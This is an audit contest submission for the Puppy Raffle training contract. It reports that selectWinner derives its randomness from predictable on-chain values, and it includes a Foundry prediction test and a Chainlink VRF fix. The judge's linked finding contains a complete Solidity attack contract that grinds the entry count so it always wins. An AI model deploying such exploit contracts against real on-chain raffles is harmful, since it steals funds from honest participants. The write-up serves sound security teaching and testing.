Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak randomness in PuppyRaffle::selectWinner lets an attacker always win

thxmxx

Root + Impact

Description

  • Normally, selectWinner should pick the raffle winner unpredictably, so no participant can know or influence the outcome in advance.

  • The winner is derived from keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)), all of which are values the caller already knows (and a block producer partly controls) at execution time. Anyone can recompute the exact winnerIndex off-chain before calling selectWinner and only call it on a result that makes them (or a chosen address) win. The same weak source is reused for the NFT rarity.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
// ...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; // same weak RNG
}

Risk

Likelihood:

  • Happens every time selectWinner is callable, since all seed inputs are public on-chain values the caller already knows; the attacker recomputes the index off-chain and only calls on a winning result.

  • Happens whenever the caller is (or colludes with) the block producer, who can grind block.timestamp/block.difficulty to land on a chosen winner.

Impact:

  • The raffle is not random: an attacker can deterministically win the 80% prize pool and the rare-puppy NFT every round.

  • Honest participants can never fairly win, breaking the protocol's core promise.

Proof of Concept

Foundry test: before calling selectWinner, the attacker recomputes keccak256(msg.sender, block.timestamp, block.difficulty) % players.length and predicts the winner; the prediction matches the actual previousWinner exactly.

uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % players.length;
address predictedWinner = players[predictedIndex];
​
raffle.selectWinner(); // msg.sender == address(this)
​
assertEq(raffle.previousWinner(), predictedWinner); // prediction == reality

Recommended Mitigation

On-chain values are not a secure randomness source. Use a verifiable oracle such as Chainlink VRF: request randomness and select the winner in the fulfillment callback.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request randomness via Chainlink VRF, then in fulfillRandomWords():
+ uint256 winnerIndex = randomWord % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 16 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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